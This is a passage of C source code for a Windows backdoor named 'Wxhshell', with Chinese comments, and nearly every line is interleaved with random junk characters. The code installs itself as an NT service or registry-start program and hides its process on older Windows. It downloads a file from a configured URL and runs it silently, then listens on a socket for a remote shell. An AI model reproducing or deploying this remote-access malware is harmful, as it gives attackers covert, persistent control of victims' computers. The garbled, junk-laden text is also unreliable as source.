V) g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); e-,U@_B g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .S`Ue,H NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "Fy34T0N Zd1+ZH if (!NtQueryInformationProcess) return 0; /[Vaf R! (BVLlOo?J hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); M-K<w(,X if(!hProcess) return 0; 'C1=(PE%` ~&CaC if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3Ku!;uo!u ] ^tor CloseHandle(hProcess); G`ZpFg0Y ve.iyr hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); VFT
G3,kI if(hProcess==NULL) return 0; k.rP}76 s!~M,zsQN HMODULE hMod; $R2T) char procName[255]; HLg/=VF7? unsigned long cbNeeded; 1Z'cL~9 9hHQWv7TgK if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); a^< S]KcAz( fX CloseHandle(hProcess); @BbZ(cZ* i@6MO'y if(strstr(procName,"services")) return 1; // 以服务启动 xQ>c.}J/i iJ~5A'?6 return 0; // 注册表启动 [3nhf<O } S5@/;T 9qIUBH e // 主模块
$Tfq9 int StartWxhshell(LPSTR lpCmdLine) t LdBnf { a^'1o9 SOCKET wsl; $yIcut7 BOOL val=TRUE; VQZ3&]o int port=0; F8 ;M++ struct sockaddr_in door; TYw0#ZXo g^NdN46% if(wscfg.ws_autoins) Install(); 5~<>h~yJ )-Zpr1kD port=atoi(lpCmdLine); 6TbDno/!' F@kOj*5,[ if(port<=0) port=wscfg.ws_port; U#ueG o{4ya jt WSADATA data; 95_?F7}9 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; SIKy8?Fn ?g}n$%*5y! if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ::uD%a zd setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); X"(!\{ySI; door.sin_family = AF_INET; i)1E[jc{p! door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4\pi<#X door.sin_port = htons(port); *ys@'Ai? 5>t&)g if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Tg&{P{$ closesocket(wsl); B cX}[?c return 1; 2}'qu) } qDqIy+WR b+'G^!JR if(listen(wsl,2) == INVALID_SOCKET) { &vj+3<2 closesocket(wsl); Bg-C:Ok2' return 1; =w?-R\ } qRJg/~_h{ Wxhshell(wsl); "z69jxXo WSACleanup(); Q`7!~qV0= '/\@Mc4T return 0; FZ #ngrT WVftLIJ } ndOPD]A' U_ V0 // 以NT服务方式启动 8d-; ;V VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 25l6@7q. { +>.plvZhu DWORD status = 0; fNFdZ[qOd DWORD specificError = 0xfffffff; ,yWTkql ?6p6OB serviceStatus.dwServiceType = SERVICE_WIN32; eE>3=1d]w serviceStatus.dwCurrentState = SERVICE_START_PENDING; X@b$C~+ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :t(gD8 ; serviceStatus.dwWin32ExitCode = 0; b)en/mz serviceStatus.dwServiceSpecificExitCode = 0; C:hfI;*7 serviceStatus.dwCheckPoint = 0; >L$y|8O serviceStatus.dwWaitHint = 0; s^^X.z , F]
+t/ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +#6WORH0S if (hServiceStatusHandle==0) return; Umm_FEU#] %bt2^ status = GetLastError(); MKJ9PcVi if (status!=NO_ERROR) pCb@4nb { 1#^[{XlAx serviceStatus.dwCurrentState = SERVICE_STOPPED; Qf414 oW serviceStatus.dwCheckPoint = 0; Nn
?B D4i serviceStatus.dwWaitHint = 0; o2W pi serviceStatus.dwWin32ExitCode = status; +IuV8XT2( serviceStatus.dwServiceSpecificExitCode = specificError; k!xi
(l<C SetServiceStatus(hServiceStatusHandle, &serviceStatus); s.6S: return; #dqZdj@ } HLN rI0 29Kuq ;6 serviceStatus.dwCurrentState = SERVICE_RUNNING; x1/Usupi serviceStatus.dwCheckPoint = 0; 4.,e3 serviceStatus.dwWaitHint = 0; 37ll8 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); LOX[h$ } 7FqmT
xii*"n ~ // 处理NT服务事件,比如:启动、停止 tW|B\p} VOID WINAPI NTServiceHandler(DWORD fdwControl) &&ecq { |}es+<P switch(fdwControl) -v&Q'a { MCurKT<pQ case SERVICE_CONTROL_STOP: j~\\,fl= serviceStatus.dwWin32ExitCode = 0; )P[B! serviceStatus.dwCurrentState = SERVICE_STOPPED; T)3#U8sT serviceStatus.dwCheckPoint = 0; YJuaQxs serviceStatus.dwWaitHint = 0; K>RL { K
*{C:Y SetServiceStatus(hServiceStatusHandle, &serviceStatus); #Q^mdv? } Cs^o- g!L return; HNY{%D case SERVICE_CONTROL_PAUSE: '$
s:cS`= serviceStatus.dwCurrentState = SERVICE_PAUSED; (dpBGt@ break; (+Gd)iO case SERVICE_CONTROL_CONTINUE: -njxc{b serviceStatus.dwCurrentState = SERVICE_RUNNING; vO]gj/SaT break; R{#-IH=" case SERVICE_CONTROL_INTERROGATE: oFoG+H"&7\ break; ~NpnRIt }; Y;e@`.( SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4-E9a _ } agBKp! sG}}a}U1 // 标准应用程序主函数 2a5yJeaIv* int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *W(b = u { -3wg9uZ& E"#<I*b // 获取操作系统版本 =WyAOgy} OsIsNt=GetOsVer(); (-B0fqh=G GetModuleFileName(NULL,ExeFile,MAX_PATH); 5;`([oX|_ ?TMo6SU // 从命令行安装 t82Bp[t if(strpbrk(lpCmdLine,"iI")) Install(); i2N*3X~ MG8-1M // 下载执行文件 ^[&*B#( if(wscfg.ws_downexe) { 6du"^g if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #@2 `^1 WinExec(wscfg.ws_filenam,SW_HIDE); }=?r`J+Ev; } AW+4Vm_!l HZ[&ZNTa if(!OsIsNt) { twf;{lZ( // 如果时win9x,隐藏进程并且设置为注册表启动 @*is]d+Ya HideProc(); xdYjl.f StartWxhshell(lpCmdLine); QdUl-( } M[<O]p6 else t^8#~o!% if(StartFromService()) hh+GW*'~ // 以服务方式启动 ~>>o'H6 StartServiceCtrlDispatcher(DispatchTable); tI.(+-q else g|)e3q{M // 普通方式启动 bCd! ap+# StartWxhshell(lpCmdLine); Qyt6+xL 8uyVx9C0 return 0; Sl:\5]'yJ }
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